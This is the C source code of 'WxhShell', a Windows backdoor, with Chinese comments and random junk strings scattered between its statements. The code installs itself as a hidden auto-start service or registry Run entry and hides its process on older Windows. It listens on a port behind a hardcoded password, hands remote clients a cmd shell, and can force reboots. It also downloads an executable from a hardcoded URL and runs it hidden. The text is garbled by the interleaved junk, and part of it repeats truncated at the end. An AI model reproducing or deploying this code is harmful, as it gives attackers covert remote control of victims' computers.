^FcW PROCESS_BASIC_INFORMATION pbi; cZ|lCy^ EKuSnlTXba HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R2 lXTW* if(NULL == hInst ) return 0; s~J=<)T*6 V&i2L.{G) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'wZ_4XjD g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3B{[%#vO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M)JADX G2]^F Y if (!NtQueryInformationProcess) return 0; ne4c%?>t R"+wih hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B3mS] if(!hProcess) return 0; =Vb~s+YW FLZS K:3B] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^s{hs(8%R +tt9R_S CloseHandle(hProcess); ]p]UTCo!' 9t K>gwb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / p)F>WR if(hProcess==NULL) return 0; ]JjK#eh m'x;,xfY&F HMODULE hMod; #.ct5 char procName[255]; c@R; /m:R unsigned long cbNeeded; `~h4D(n` _BS
9GB if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c?K~/bx. *C6 D3y CloseHandle(hProcess); C\Vg{&' uS<_4A;sD, if(strstr(procName,"services")) return 1; // 以服务启动 _1|$P|$P. ;YyXT"6/p return 0; // 注册表启动 nY_?Jq } |P~;C6sf T3N"CUk // 主模块 a1c1k} int StartWxhshell(LPSTR lpCmdLine) ZFvyL8o { ^jD1vUL 2: SOCKET wsl; a#0;==# BOOL val=TRUE; A:# k int port=0; @r;wobt struct sockaddr_in door; S8vV!xO 'bu )M1OLi if(wscfg.ws_autoins) Install(); 2.lgT|p osHCg port=atoi(lpCmdLine);
bwiD$ 3l4NC03I& if(port<=0) port=wscfg.ws_port; K84^Oq +?m0Q;%b WSADATA data; H(-4:BD? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >v+jh(^ / T
c= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \Kavw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iL]'y\?lv door.sin_family = AF_INET; ~i~%~doa door.sin_addr.s_addr = inet_addr("127.0.0.1"); r&3pM2Da} door.sin_port = htons(port); \7v)iG|#G& ~DF:lqwWP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { },@^0UH4c closesocket(wsl); aM=D84@ return 1; G"dS+,Q } ,0N94pKy F<&!b2)ML if(listen(wsl,2) == INVALID_SOCKET) { O4iC]5@ closesocket(wsl); S :bC[} return 1; <skajQQ } 1B=>_3_ Wxhshell(wsl); hJ;$A*Y WSACleanup(); (bp9Pj w ]j<Bo4~Il return 0; OE`X<h4r 3_$w|ET } tY|8s]{2 kOL'|GgK // 以NT服务方式启动 ) c2_b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /=?x{(B> { ]< l6s DWORD status = 0; Z.PBu|Kx DWORD specificError = 0xfffffff; zYER b7`D|7D serviceStatus.dwServiceType = SERVICE_WIN32; O[^%{' serviceStatus.dwCurrentState = SERVICE_START_PENDING; #-VMg+14 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c}Z6V1]QP serviceStatus.dwWin32ExitCode = 0; yay<GP? serviceStatus.dwServiceSpecificExitCode = 0; "SxLN
8.: serviceStatus.dwCheckPoint = 0; !^oV # serviceStatus.dwWaitHint = 0; bm~W
EX eV^d6T$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Apc$0ZsN if (hServiceStatusHandle==0) return; H6*^Ga BaI $S>/Q status = GetLastError(); Uu
s. if (status!=NO_ERROR) :ue:QSt(u { XN=67f$Hw serviceStatus.dwCurrentState = SERVICE_STOPPED; HSUI${< serviceStatus.dwCheckPoint = 0; 2&mGT&HAVA serviceStatus.dwWaitHint = 0; 3f.b\4 U serviceStatus.dwWin32ExitCode = status; HAz By\M{ serviceStatus.dwServiceSpecificExitCode = specificError;
zG }? SetServiceStatus(hServiceStatusHandle, &serviceStatus); \W5O&G-C return; {PP9$>4`l } |y;}zQB-dH p@!nYPr. serviceStatus.dwCurrentState = SERVICE_RUNNING; Y_&g="`Q serviceStatus.dwCheckPoint = 0; z}QwP~Z serviceStatus.dwWaitHint = 0; RcG0 8p.) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,_aM`%q?Fj } Y`7~Am/r;& hd\gH^wk
// 处理NT服务事件,比如:启动、停止 {N2g8W: VOID WINAPI NTServiceHandler(DWORD fdwControl) >WJf=F`_H { $EZN1\ switch(fdwControl) oBQ#eW aY { omO
S=d!o case SERVICE_CONTROL_STOP: <9E0iz+j serviceStatus.dwWin32ExitCode = 0; 0]KraLu"N serviceStatus.dwCurrentState = SERVICE_STOPPED; 4'j
sDcs serviceStatus.dwCheckPoint = 0; Xp\/YJOibd serviceStatus.dwWaitHint = 0; >^q7c8]~g { FMNm,O] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1_fZm+oW! } h5%<+D< return; t"hYcnC case SERVICE_CONTROL_PAUSE: >EL)X
#e serviceStatus.dwCurrentState = SERVICE_PAUSED; iLP7!j break; PWh^[Rd) case SERVICE_CONTROL_CONTINUE: B]m@:|Q serviceStatus.dwCurrentState = SERVICE_RUNNING; [b%:.bjY break; _Jwq`]Z case SERVICE_CONTROL_INTERROGATE: /,!qFt break; =U8a ?0 }; /V3=KY`_J SetServiceStatus(hServiceStatusHandle, &serviceStatus); `U+l?S^$ } /? r?it A(?\>X
9g // 标准应用程序主函数 ;^*Unyt[4] int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F'g Vzf { I1[g&9, CkJCi // 获取操作系统版本 2*(Z==XC7 OsIsNt=GetOsVer(); m(], r}) GetModuleFileName(NULL,ExeFile,MAX_PATH); vN2u34 wi9DhVvc 0 // 从命令行安装 KIR'$ 6pn~ if(strpbrk(lpCmdLine,"iI")) Install(); pF
^#}L DI!V^M[~u // 下载执行文件 c/B'jPt if(wscfg.ws_downexe) { bSVlk` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )p!7#v/@f WinExec(wscfg.ws_filenam,SW_HIDE); f|y:vpd% } XU+<?%u}z }FzqW*4~ if(!OsIsNt) { nW;g28 // 如果时win9x,隐藏进程并且设置为注册表启动 n@ w^V HideProc(); ^Rx9w!pAN StartWxhshell(lpCmdLine); F4<O2!V } P2nft2/eu? else spasB=E if(StartFromService()) k}KC/d9.z // 以服务方式启动 &$`yo` StartServiceCtrlDispatcher(DispatchTable); ^F:k3,_[ else /y^7p9Z` // 普通方式启动 s7oT G! StartWxhshell(lpCmdLine); 8k(P,o Q}S_%I}u: return 0; TYI7<-Mp:[ }
{EdH$l>94 %cE2s` PMfkA!.Y Cgz D$`~ =========================================== Q5%#^ZdsTd CRbdAqofV Hcc"b0>}{ gKOOHUCb V138d?Mm ;Ag
3c+ " \,J/ r! z5W@`=D #include <stdio.h> Q[+ac*F=Y #include <string.h> %F kMv #include <windows.h> K-&V,MI #include <winsock2.h> A>{p2?`+! #include <winsvc.h> [frq
'c #include <urlmon.h> UX]L;kI <(vCiH9~P #pragma comment (lib, "Ws2_32.lib") U35AX9/ #pragma comment (lib, "urlmon.lib") V21njRS 9o>8o #define MAX_USER 100 // 最大客户端连接数 -48vJR*tC #define BUF_SOCK 200 // sock buffer pIbdN/z #define KEY_BUFF 255 // 输入 buffer pH`44KAuM aTf`BG{kw #define REBOOT 0 // 重启 GWvH[0 #define SHUTDOWN 1 // 关机 8( btZt XT;u<aJs #define DEF_PORT 5000 // 监听端口 ]0L&v7[ si4don #define REG_LEN 16 // 注册表键长度 qH['09/F6 #define SVC_LEN 80 // NT服务名长度 N25V] $ cu00K // 从dll定义API ." $ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %p
X6QRt? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cWajrLw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kp\\"+,VC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Et_V,s<| fu$R7 // wxhshell配置信息 S.!UPkW H struct WSCFG { I5h[%T int ws_port; // 监听端口 6=N`wi char ws_passstr[REG_LEN]; // 口令 WL{(Ob int ws_autoins; // 安装标记, 1=yes 0=no Ngg?@pG0y char ws_regname[REG_LEN]; // 注册表键名 ;l}- Z@! / char ws_svcname[REG_LEN]; // 服务名 !z{-?o/ char ws_svcdisp[SVC_LEN]; // 服务显示名 ?JxbSK# char ws_svcdesc[SVC_LEN]; // 服务描述信息 xooY'El*# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )!tK[K?5 int ws_downexe; // 下载执行标记, 1=yes 0=no Mc!Xf[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lD{Aa!\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0kDK~iT sdCvG R e }; y$<Vha Y
wkyq>Rv // default Wxhshell configuration N N|u _ struct WSCFG wscfg={DEF_PORT, qaim6a "xuhuanlingzhe", G^"Vo x4 1, X0*QV- RN "Wxhshell", hm<}p&!J "Wxhshell", 8QK5z;E2~ "WxhShell Service", OiDhJ "Wrsky Windows CmdShell Service", Z/rTVAs@r "Please Input Your Password: ", 1
y}2+Kk 1, )etmE "http://www.wrsky.com/wxhshell.exe", m?HZ; "Wxhshell.exe" OGiV{9U }; wM[~2C=vx
Quf_' // 消息定义模块 |w}xl'>q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m`6Yc:@E char *msg_ws_prompt="\n\r? for help\n\r#>"; a(]`F(L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?X?&~3iD% char *msg_ws_ext="\n\rExit."; ob_I]~^I?| char *msg_ws_end="\n\rQuit."; (Toq^+`c char *msg_ws_boot="\n\rReboot..."; PM":Vd/ char *msg_ws_poff="\n\rShutdown..."; D|qk_2R% char *msg_ws_down="\n\rSave to "; Jx#k,Z4 :R):b char *msg_ws_err="\n\rErr!"; aQ j*KMc char *msg_ws_ok="\n\rOK!"; b%f[p/no fri0XxF char ExeFile[MAX_PATH]; ^w~23g. int nUser = 0; .lhn;*Yi HANDLE handles[MAX_USER]; t?nX=i*~] int OsIsNt; v&FF|)$ qW 1V85FG SERVICE_STATUS serviceStatus; z'p:gv] SERVICE_STATUS_HANDLE hServiceStatusHandle; k#bu#YZk X}P$emr7 // 函数声明 A~nf#(!^] int Install(void); ^7]"kg DA int Uninstall(void); ?t@v&s int DownloadFile(char *sURL, SOCKET wsh); pS 4&w8s int Boot(int flag); (yo;NKq,@ void HideProc(void); +*oS((0s int GetOsVer(void); ]<DNo&fw int Wxhshell(SOCKET wsl); S'~o,`xy void TalkWithClient(void *cs); 0i[zup int CmdShell(SOCKET sock); Wl^R8w#Z$ int StartFromService(void); :"0J=>PH: int StartWxhshell(LPSTR lpCmdLine); 4(?G6y) =G~~?>=@2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S~$'WA VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?j7vZ}iRi #$vRJ#S}U // 数据结构和表定义 Bqws!RM'&@ SERVICE_TABLE_ENTRY DispatchTable[] = nA>sHy { !k$}Kj)I {wscfg.ws_svcname, NTServiceMain}, (UNtRz'=; {NULL, NULL} Hg}I]!B }; &K^MNd 7=4 A;Ybq // 自我安装 YEjY8]t int Install(void) P,gdnV
^ { jn9 ShF char svExeFile[MAX_PATH]; C-P06Q] HKEY key; bAxTLIf strcpy(svExeFile,ExeFile); RK9>dkW -jg (G GJ // 如果是win9x系统,修改注册表设为自启动 ]6tkEyuq if(!OsIsNt) { &;H{cv` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~!%0Z9>ap RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )He#K+[}^4 RegCloseKey(key); HW=xvA+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]8 U ~Iy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kn+=lCk RegCloseKey(key); ST1Ts5I return 0; U6 82Th } :s8A:mx } YTY%#"
} a j|5 # else { 0rMqWP &J"YsY // 如果是NT以上系统,安装为系统服务 &yH#s
8^8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zcd7*EBdx if (schSCManager!=0) "2n;3ByR { [ET6(_=b SC_HANDLE schService = CreateService ((3t: ( 9+CFRYC schSCManager, %u]6KrG18b wscfg.ws_svcname,
AvRcS]@= wscfg.ws_svcdisp, {KaN,td9 SERVICE_ALL_ACCESS, ]H 2R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xi {| SERVICE_AUTO_START, H$!-f>Rxa SERVICE_ERROR_NORMAL, 0*(K DDv svExeFile, m% bE-# NULL, Md(JIlh3 NULL, l[n@/%2 NULL, 9\51Z:> NULL, 9$tl00 NULL AF#_nK)@ ); ;bHfn-X if (schService!=0) SfI*bJo>V { [%.18FWI CloseServiceHandle(schService); Md9l+[@ CloseServiceHandle(schSCManager); NXgRNca strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <%!J? strcat(svExeFile,wscfg.ws_svcname); g5R,% 6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GAU!_M5 N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J~J@ ]5/ RegCloseKey(key); Qyj(L[K J return 0; \REc8nsLy } _@prmSc } w??c1) CloseServiceHandle(schSCManager); N#Ag'i4HF } fNxw&ke8& } <ZrFOb i| xt f return 1; P3$,ca' } $r"A@69^RS 2Guvze_bU // 自我卸载 uYTCd ZQh int Uninstall(void) i`~~+6`J { px
[~=$F HKEY key; VG\mo?G
"A7<XN< if(!OsIsNt) { N *1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @KJV1t` RegDeleteValue(key,wscfg.ws_regname);
Ars,V3ep RegCloseKey(key); uo 4xnzc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Cfp'u%\; RegDeleteValue(key,wscfg.ws_regname); q2Rf@nt RegCloseKey(key); P CsK() return 0; V2QW\2@$ } U9F6d!:L7A } [0(mFMC` } ]-EN/V else { &E]"c]i+ 'RQiLUF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [)iN)$Mv if (schSCManager!=0) FoLDMx( { 2$DSBQEx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &[)D]UL if (schService!=0) [k~C+FI { /1N)d?Pcl if(DeleteService(schService)!=0) { h.D^1 CloseServiceHandle(schService); ax]9QrA CloseServiceHandle(schSCManager); UhBz<>i;! return 0; /gX%ABmS } 8'%+G CloseServiceHandle(schService); &&*wmnWCS{ } X_!$Pk7ma CloseServiceHandle(schSCManager); D0KELAcY } K_FBy } YZ{;%&rB ME,duY/>Q return 1; Ss+F9J
} sHF%=Vu XC2Q*Z // 从指定url下载文件 ^:U;rHY int DownloadFile(char *sURL, SOCKET wsh) MKe *f% { %27G 2^1 HRESULT hr; ~"\P~cg0J char seps[]= "/"; :g/{(#E@Z char *token; h4h d<, char *file; !Am
=v=> char myURL[MAX_PATH]; R<t&F\> char myFILE[MAX_PATH]; 8@Q"YA3d+ P0Aas)! strcpy(myURL,sURL); =$[W,+X6f token=strtok(myURL,seps); HN^w'I'bp while(token!=NULL) Mc.^s { sAf9rZt*' file=token; OY$7`8M[ token=strtok(NULL,seps); A03I-^0g+
} ,Qga|n8C zabw!@] GetCurrentDirectory(MAX_PATH,myFILE); "hz>{oe strcat(myFILE, "\\");
hgNY[, strcat(myFILE, file); _%XbxP6rH send(wsh,myFILE,strlen(myFILE),0); j`Tm\!q send(wsh,"...",3,0); Y{`3`Pg&N hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yFIl^Ck% if(hr==S_OK) `AB~YX%( return 0; % 1OC#& else ]U#JsMS return 1; Al)lWD}j2g @<0h"i
x } 0oXK&Z 3KB|NS // 系统电源模块 USH@:c#t int Boot(int flag) 9T?~$XlX { $gXkx D HANDLE hToken; {H/8#y4qp& TOKEN_PRIVILEGES tkp; $b&BH'*'~ 5+o
2 T] if(OsIsNt) { GP0[Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &E} I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]:[)KZ~ tkp.PrivilegeCount = 1; SjFF=ib tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; = E##},N" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oNh68ON:c if(flag==REBOOT) { }x{rTEq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W*1d
X"S return 0; $1:}(nO, } .~FKyP>[$ else { j=`y
@~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o6`Y7,] return 0; ^Tb}]aHg } z_5rAlnwT. } yBUZVqqDa else { yaCd4KP if(flag==REBOOT) { ,AGM?&A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =vB]*?;9 return 0; Uqb]e?@ } T)$6H}[c else { JNU"5sB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OqAh4qa,$ return 0; 5P5A,K } cij]&$;Q } ::^qy^n iX0]g45o return 1; [u!p- } +xoyKP! 9b"}CEw // win9x进程隐藏模块 uOivnJ? void HideProc(void) tal>b]B; { wR5\^[GN yoq\9* ?u^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (1saof*p% if ( hKernel != NULL ) >x|A7iWn{, { '7RR2f>V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ntA[[OIFO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E.zYi7YUKK FreeLibrary(hKernel); Fyi?,, } , u8ZS|9 T6/$pJl return; XC+F! R } i4{ / 2yi*eR // 获取操作系统版本 B^_$
hJncc int GetOsVer(void) ArEH%e { p3,(*eZ OSVERSIONINFO winfo; ".*a) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )Ta]6 GetVersionEx(&winfo); rS,*s'G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @@&@}IQcR1 return 1; h^[ppc{Z else n{qa ]3 return 0; :3E8`q~c1 } dctA`W@:- 6bA~mC^& // 客户端句柄模块 y<'2BTf int Wxhshell(SOCKET wsl) P}.yEta { #C=L^cSx( SOCKET wsh; G}9bCr, struct sockaddr_in client; n'x`oI)- DWORD myID; fd,}YAiX ]VHdE_7) while(nUser<MAX_USER) LNyL>VHkK { tswG"1R int nSize=sizeof(client); F_M~!]<na wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =`7)X\i@z if(wsh==INVALID_SOCKET) return 1; gl(6m`a> +gD)Yd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UmP?}Xw6 if(handles[nUser]==0) B9;,A;E}; closesocket(wsh); 4o)\DB?! else ?[L0LL?ce nUser++; CB{k;H } ;>QK}#' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MIua\:xT NNREt:+kr
return 0; Jz:W-o } NdED8 iRc >/OXC+=^4 // 关闭 socket 6Kv}2M')+ void CloseIt(SOCKET wsh) RGPU~L { J?,!1V= closesocket(wsh); Spr:K, nUser--; NId~|&\ ExitThread(0); 3K'o&>}L } hz~CW-47 %&Q7;? // 客户端请求句柄 1o"oa<*_ void TalkWithClient(void *cs) /xm} ?t0U { ?D$b%G{ L!}j3(I SOCKET wsh=(SOCKET)cs; |{|r?3 char pwd[SVC_LEN]; F#37Qv char cmd[KEY_BUFF]; RT+30Q? char chr[1]; &fNE9peQFa int i,j; H|Fqc=qp Bc"}nSjH while (nUser < MAX_USER) { jiB>.te ,;ruH^ if(wscfg.ws_passstr) { T[$hYe8%^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DSG +TA" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Bq2?;5 //ZeroMemory(pwd,KEY_BUFF); Bw/H'Y i=0; hu*>B while(i<SVC_LEN) { 2Q_{2(nQb AYQh=$)( // 设置超时 y8WXp_\ fd_set FdRead; TboHP/ struct timeval TimeOut; wbF1>{/" FD_ZERO(&FdRead); 2,QApW_Y FD_SET(wsh,&FdRead); ' ^L TimeOut.tv_sec=8; .$s|T TimeOut.tv_usec=0; MVU'GHv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -N!soJ< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mt6uW+t/ 3/|{>7]1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w0%ex#lkm pwd=chr[0]; v&/-&(+ if(chr[0]==0xd || chr[0]==0xa) { 8 P y_Y> pwd=0; @KRn3$U break; \7w85$ } g<0%-p i++; SE-, 1p } XK9*,WA9r ,?N_67 // 如果是非法用户,关闭 socket $A0]v!P~i- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dE!=a|Pl } ~ilBw:L-3 d1_*!LW$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3K]0sr send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Evgq}3 +A3\Hj&W while(1) { Jy[8,X ZaV66Y> ZeroMemory(cmd,KEY_BUFF); EC\:uK c] 9CN // 自动支持客户端 telnet标准 mztq7[&- j=0; ED_5V@ while(j<KEY_BUFF) { >N"PLSY1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !x /Z" cmd[j]=chr[0]; HSFf&|qqx if(chr[0]==0xa || chr[0]==0xd) { &IY_z0= cmd[j]=0; -^yc yZ break; p%tg->#L } ,'DrFlI j++; f;dU72]q+ } qCT\rZU /3%xQK>% // 下载文件 tdK^X1 if(strstr(cmd,"http://")) { $6%;mep send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Ya6yz if(DownloadFile(cmd,wsh)) 9 9BK/>R send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1[ZrY'0 else w:(7fu= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eV}Tx;1|} } RIx6& 7$ else { %+J*oFwQu hvZR4|k> switch(cmd[0]) { @x
]^blq Qn&^.e9I // 帮助 6;V1PK>9 case '?': { ;g9:0,xT4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZJM^P'r.1c break; > PA,72e } kfECC&" // 安装 ~]+
jn case 'i': { qE=OQs9 if(Install()) a}hM}U! send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{^@. 8: else Uwa1)Lwn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Z+D7Q break; y5h[^K3 } 6[7k}9`alz // 卸载 L@GD$F=<0 case 'r': { 54%}JA][ if(Uninstall()) _.LWc^Sg send(wsh,msg_ws_err,strlen(msg_ws_err),0); I%xJ)fIK else Dw,f~D$+ic send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4jqF~ break; Lcm!e } . %7A7a // 显示 wxhshell 所在路径 !~v>&bCG>9 case 'p': { lNAHn<ht char svExeFile[MAX_PATH]; P^-9?uBno strcpy(svExeFile,"\n\r"); %Ski5q strcat(svExeFile,ExeFile); `;@4f|N9 send(wsh,svExeFile,strlen(svExeFile),0); =Y[Ae7e break; KYN{iaj } DcHMiiVM // 重启 1fZ:^|\ case 'b': { ;_\P;s send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8?XZF[D if(Boot(REBOOT)) >j3N-;o@? send(wsh,msg_ws_err,strlen(msg_ws_err),0); v^'~-^s
else { {c;3$ closesocket(wsh); !f6 ExitThread(0); W9"I++~f } eH{ 9w8~ break; t`B']Ac;T } oJ:J'$W( // 关机 g (k|"g`* case 'd': { g!ww;_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UepBXt3) if(Boot(SHUTDOWN)) ) /'s&
D send(wsh,msg_ws_err,strlen(msg_ws_err),0); M5uN1* else { f'dI"o&^/d closesocket(wsh); ev $eM ExitThread(0); ig{5]wZ( } .>n|#XK break; J^4k} } T^_9R; // 获取shell tw66XxE case 's': { F04Etf
2k CmdShell(wsh); r;z A ` closesocket(wsh); {W]jVh p ExitThread(0); #ZA
YP break; cht#~d } 7_,gAE:kG // 退出 gZ3!2T> case 'x': { |+;"^<T)l send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pp2)P7 CloseIt(wsh); ?}[keSEh> break; MXb(Z9)]kw } "|if<hx+ // 离开 K@m^QioMj case 'q': { s><co] send(wsh,msg_ws_end,strlen(msg_ws_end),0); YbKW;L&Ff closesocket(wsh); P*>V6SK>b WSACleanup(); 0*)79Sz exit(1); ~"k'T9QBY break; }wVrmDh \ } KVuv%? } %[J( ,rm } J}JnJV8|G m|
Z)h{& // 提示信息 ZAE;$pkP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t(Uoi~#[ } a|.u; } |NI0zd < -Nj return; Gkl#s7' } VI?[8@*Z z?PF9QL1 // shell模块句柄 zF PSk] int CmdShell(SOCKET sock) uyj5}F+O { SZ_hG D 0 STARTUPINFO si; /y} ZeroMemory(&si,sizeof(si)); ?Rdi"{.wI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D)Zv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P.o W#Je PROCESS_INFORMATION ProcessInfo; <x/&Ml+ char cmdline[]="cmd"; gnQd#` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |s:!LU&OL\ return 0; Sz
=z
TPnO } qVfOf\x.e W;=ZQ5Lw // 自身启动模式 \m<*3eS int StartFromService(void) GB#7w82 { +mJAIjH typedef struct Rh=h{O { >a<;)K^1 DWORD ExitStatus; @c.pOX[]m, DWORD PebBaseAddress; 4h|vd.t DWORD AffinityMask; e.N#+ DWORD BasePriority; s
SDBl~g ULONG UniqueProcessId; R#0UwRjeF ULONG InheritedFromUniqueProcessId; u URf } PROCESS_BASIC_INFORMATION; =#W6+=YN8 K$4Ky&89
PROCNTQSIP NtQueryInformationProcess; rB4]TQ`c p|zW2L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l{<@[foc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "h
"vp&A r_QWt1K HANDLE hProcess; m9r
X PROCESS_BASIC_INFORMATION pbi; |.YL2\ h T<v8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \n}cx~j if(NULL == hInst ) return 0; d4lEd>Ni nk[ixVc g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WkT4&|POJ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,ecFHkT> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lyP<&<Y5 G3q\Z`|3h if (!NtQueryInformationProcess) return 0; '2eggX% 2vynz,^ET hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YtFtU;{ if(!hProcess) return 0; YQ]W<0( WawOap if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -{^Gzui d%iMjY`~[g CloseHandle(hProcess); q%nWBmPZ~y GujmBb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gx!Y
